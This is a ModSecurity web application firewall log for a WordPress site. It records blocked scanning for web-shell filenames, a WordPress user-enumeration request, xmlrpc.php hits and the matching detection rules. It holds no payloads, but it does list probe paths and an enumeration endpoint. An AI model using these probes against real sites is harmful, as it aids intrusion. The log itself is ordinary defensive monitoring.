[Tue Mar 24 21:25:20.931423 2026] [:error] [pid 3137:tid 3156] [client 20.19.171.59:9404] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filesss.php"] [unique_id "acKQwJdZesutm6dfYM9BSQAAANE"]
[Tue Mar 24 21:25:21.520429 2026] [:error] [pid 38767:tid 38790] [client 20.19.171.59:19925] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filesss.php"] [unique_id "acKQwfwkUqN4GJAI5oVVXQAAARQ"]
[Tue Mar 24 21:25:22.094466 2026] [:error] [pid 3137:tid 3158] [client 20.19.171.59:24399] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filesss.php"] [unique_id "acKQwpdZesutm6dfYM9BVAAAANM"]
[Tue Mar 24 21:25:22.617489 2026] [:error] [pid 3031:tid 3077] [client 20.19.171.59:9842] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aaa.php"] [unique_id "acKQwqJBKytnG47nuiY8jwAAAEE"]
[Tue Mar 24 21:25:23.159496 2026] [:error] [pid 38767:tid 38780] [client 20.19.171.59:9746] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aaa.php"] [unique_id "acKQw_wkUqN4GJAI5oVVawAAAQo"]
[Tue Mar 24 21:25:23.844636 2026] [:error] [pid 38767:tid 38775] [client 20.19.171.59:7680] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aaa.php"] [unique_id "acKQw_wkUqN4GJAI5oVVbQAAAQU"]
[Tue Mar 24 21:25:24.385286 2026] [:error] [pid 38767:tid 38783] [client 20.19.171.59:9820] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aaa.php"] [unique_id "acKQxPwkUqN4GJAI5oVVbgAAAQ0"]
[Tue Mar 24 21:25:24.900657 2026] [:error] [pid 64198:tid 64219] [client 20.19.171.59:26412] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-freya.php"] [unique_id "acKQxHVzJqf6OS_oSZ3NggAAAVM"]
[Tue Mar 24 21:25:25.417325 2026] [:error] [pid 64198:tid 64205] [client 20.19.171.59:11789] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-freya.php"] [unique_id "acKQxXVzJqf6OS_oSZ3NigAAAUU"]
[Tue Mar 24 21:25:25.959044 2026] [:error] [pid 64198:tid 64221] [client 20.19.171.59:7691] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-freya.php"] [unique_id "acKQxXVzJqf6OS_oSZ3NkAAAAVU"]
[Tue Mar 24 21:25:26.555484 2026] [:error] [pid 38767:tid 38791] [client 20.19.171.59:1741] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-freya.php"] [unique_id "acKQxvwkUqN4GJAI5oVVdQAAARU"]
[Tue Mar 24 21:25:27.447184 2026] [:error] [pid 38767:tid 38770] [client 20.19.171.59:27396] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7x.php"] [unique_id "acKQx_wkUqN4GJAI5oVVeAAAAQA"]
[Tue Mar 24 21:25:28.287025 2026] [:error] [pid 64198:tid 64204] [client 20.19.171.59:12045] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7x.php"] [unique_id "acKQyHVzJqf6OS_oSZ3NngAAAUQ"]
[Tue Mar 24 21:25:28.864555 2026] [:error] [pid 3137:tid 3163] [client 20.19.171.59:24442] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7x.php"] [unique_id "acKQyJdZesutm6dfYM9BYgAAANg"]
[Tue Mar 24 21:25:29.474782 2026] [:error] [pid 38767:tid 38778] [client 20.19.171.59:9817] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7x.php"] [unique_id "acKQyfwkUqN4GJAI5oVVewAAAQg"]
[Tue Mar 24 21:25:30.012432 2026] [:error] [pid 38767:tid 38785] [client 20.19.171.59:22366] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/opts.php"] [unique_id "acKQyvwkUqN4GJAI5oVVgQAAAQ8"]
[Tue Mar 24 21:25:30.609104 2026] [:error] [pid 3137:tid 3147] [client 20.19.171.59:19910] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/opts.php"] [unique_id "acKQypdZesutm6dfYM9BZAAAAMg"]
[Tue Mar 24 21:25:31.381667 2026] [:error] [pid 38767:tid 38779] [client 20.19.171.59:8569] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/opts.php"] [unique_id "acKQy_wkUqN4GJAI5oVVhQAAAQk"]
[Tue Mar 24 21:25:32.038900 2026] [:error] [pid 3137:tid 3156] [client 20.19.171.59:26386] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/opts.php"] [unique_id "acKQzJdZesutm6dfYM9BbAAAANE"]
[Tue Mar 24 21:25:32.569903 2026] [:error] [pid 64198:tid 64220] [client 20.19.171.59:12046] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filer.php"] [unique_id "acKQzHVzJqf6OS_oSZ3NrQAAAVQ"]
[Tue Mar 24 21:25:33.085837 2026] [:error] [pid 38767:tid 38792] [client 20.19.171.59:10068] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filer.php"] [unique_id "acKQzfwkUqN4GJAI5oVVhwAAARY"]
[Tue Mar 24 21:25:33.613951 2026] [:error] [pid 38767:tid 38775] [client 20.19.171.59:21964] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filer.php"] [unique_id "acKQzfwkUqN4GJAI5oVViwAAAQU"]
[Tue Mar 24 21:25:34.238623 2026] [:error] [pid 48128:tid 48173] [client 20.19.171.59:8562] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filer.php"] [unique_id "acKQzsvR4LIMFLbM5Vk_AQAAAZQ"]
[Tue Mar 24 21:25:35.198856 2026] [:error] [pid 48128:tid 48153] [client 20.19.171.59:8525] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lites.php"] [unique_id "acKQz8vR4LIMFLbM5Vk_BgAAAYQ"]
[Tue Mar 24 21:25:36.741038 2026] [:error] [pid 38767:tid 38774] [client 20.19.171.59:7705] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lites.php"] [unique_id "acKQ0PwkUqN4GJAI5oVVnQAAAQQ"]
[Tue Mar 24 21:25:37.619314 2026] [:error] [pid 64198:tid 64201] [client 20.19.171.59:45600] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lites.php"] [unique_id "acKQ0XVzJqf6OS_oSZ3NtgAAAUE"]
[Tue Mar 24 21:25:38.670562 2026] [:error] [pid 38767:tid 38772] [client 20.19.171.59:9074] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lites.php"] [unique_id "acKQ0vwkUqN4GJAI5oVVqQAAAQI"]
[Tue Mar 24 21:25:39.345001 2026] [:error] [pid 64198:tid 64208] [client 20.19.171.59:20126] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cord.php"] [unique_id "acKQ03VzJqf6OS_oSZ3NvQAAAUg"]
[Tue Mar 24 21:25:40.368924 2026] [:error] [pid 38767:tid 38782] [client 20.19.171.59:24432] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cord.php"] [unique_id "acKQ1PwkUqN4GJAI5oVVuAAAAQw"]
[Tue Mar 24 21:25:41.116744 2026] [:error] [pid 48219:tid 48297] [client 20.19.171.59:24395] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cord.php"] [unique_id "acKQ1Shf3b4R_lAIyv-MrgAAAhA"]
[Tue Mar 24 21:25:42.017738 2026] [:error] [pid 38767:tid 38782] [client 20.19.171.59:21979] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cord.php"] [unique_id "acKQ1vwkUqN4GJAI5oVVwAAAAQw"]
[Tue Mar 24 21:25:42.798183 2026] [:error] [pid 3030:tid 3053] [client 20.19.171.59:26411] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "acKQ1gyOuILyynfcqfllpAAAAAQ"]
[Tue Mar 24 21:25:43.709637 2026] [:error] [pid 38767:tid 38791] [client 20.19.171.59:7630] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "acKQ1_wkUqN4GJAI5oVVywAAARU"]
[Tue Mar 24 21:25:44.549547 2026] [:error] [pid 38767:tid 38790] [client 20.19.171.59:9369] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "acKQ2PwkUqN4GJAI5oVVzwAAARQ"]
[Tue Mar 24 21:25:45.865376 2026] [:error] [pid 48214:tid 48272] [client 20.19.171.59:11788] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "acKQ2beshLWZ3uUDHKl3kQAAAdQ"]
[Tue Mar 24 21:25:46.919249 2026] [:error] [pid 38767:tid 38776] [client 20.19.171.59:21985] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "acKQ2vwkUqN4GJAI5oVV0wAAAQY"]
[Tue Mar 24 21:25:47.677626 2026] [:error] [pid 3137:tid 3160] [client 20.19.171.59:22373] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "acKQ25dZesutm6dfYM9BhwAAANU"]
[Tue Mar 24 21:25:48.664701 2026] [:error] [pid 3032:tid 3125] [client 20.19.171.59:41422] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "acKQ3Ca_-JXXD03-JNxdxAAAAJY"]
[Tue Mar 24 21:25:49.303372 2026] [:error] [pid 3032:tid 3107] [client 20.19.171.59:22387] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "acKQ3Sa_-JXXD03-JNxdxgAAAIQ"]
[Tue Mar 24 21:25:49.944476 2026] [:error] [pid 3030:tid 3071] [client 20.19.171.59:24412] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "acKQ3QyOuILyynfcqfllqQAAABY"]
[Tue Mar 24 21:25:50.519545 2026] [:error] [pid 3030:tid 3058] [client 20.19.171.59:1373] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "acKQ3gyOuILyynfcqfllqgAAAAk"]
[Tue Mar 24 21:25:51.070603 2026] [:error] [pid 64198:tid 64217] [client 20.19.171.59:40863] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "acKQ33VzJqf6OS_oSZ3NyQAAAVE"]
[Tue Mar 24 21:25:51.698972 2026] [:error] [pid 38767:tid 38779] [client 20.19.171.59:11692] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "acKQ3_wkUqN4GJAI5oVV2QAAAQk"]
[Tue Mar 24 21:25:52.301091 2026] [:error] [pid 38767:tid 38785] [client 20.19.171.59:22342] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "acKQ4PwkUqN4GJAI5oVV3AAAAQ8"]
[Tue Mar 24 21:25:52.934839 2026] [:error] [pid 38767:tid 38772] [client 20.19.171.59:16594] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "acKQ4PwkUqN4GJAI5oVV3wAAAQI"]
[Tue Mar 24 21:25:53.619553 2026] [:error] [pid 38767:tid 38779] [client 20.19.171.59:31938] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "acKQ4fwkUqN4GJAI5oVV4wAAAQk"]
[Tue Mar 24 21:25:54.094547 2026] [:error] [pid 48219:tid 48297] [client 20.19.171.59:8569] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "acKQ4ihf3b4R_lAIyv-MugAAAhA"]
[Tue Mar 24 21:25:54.617790 2026] [:error] [pid 48128:tid 48162] [client 20.19.171.59:7631] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "acKQ4svR4LIMFLbM5Vk_CwAAAYo"]
[Tue Mar 24 21:25:55.111626 2026] [:error] [pid 64198:tid 64204] [client 20.19.171.59:9837] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "acKQ43VzJqf6OS_oSZ3NywAAAUQ"]
[Tue Mar 24 21:25:55.627849 2026] [:error] [pid 38767:tid 38790] [client 20.19.171.59:32403] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "acKQ4_wkUqN4GJAI5oVV8AAAARQ"]
[Tue Mar 24 21:45:34.489474 2026] [:error] [pid 48219:tid 48293] [client 182.40.104.255:44748] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acKVfihf3b4R_lAIyv-QWwAAAgw"]
[Tue Mar 24 22:29:31.004494 2026] [:error] [pid 64198:tid 64224] [client 54.169.254.112:57679] [client 54.169.254.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.169.254.112, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acKfy3VzJqf6OS_oSZ3e_gAAAVg"]
[Tue Mar 24 22:29:34.502933 2026] [:error] [pid 64198:tid 64202] [client 54.169.254.112:57679] [client 54.169.254.112] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "acKfznVzJqf6OS_oSZ3fAwAAAUI"]
[Tue Mar 24 22:29:38.940491 2026] [:error] [pid 64198:tid 64206] [client 54.169.254.112:57679] [client 54.169.254.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.169.254.112, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acKf0nVzJqf6OS_oSZ3fCAAAAUY"]
[Tue Mar 24 22:29:38.942369 2026] [:error] [pid 64198:tid 64206] [client 54.169.254.112:57679] [client 54.169.254.112] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acKf0nVzJqf6OS_oSZ3fCAAAAUY"]
[Tue Mar 24 22:29:38.943645 2026] [:error] [pid 64198:tid 64206] [client 54.169.254.112:57679] [client 54.169.254.112] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||vetstars.com.au|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acKf0nVzJqf6OS_oSZ3fCAAAAUY"]
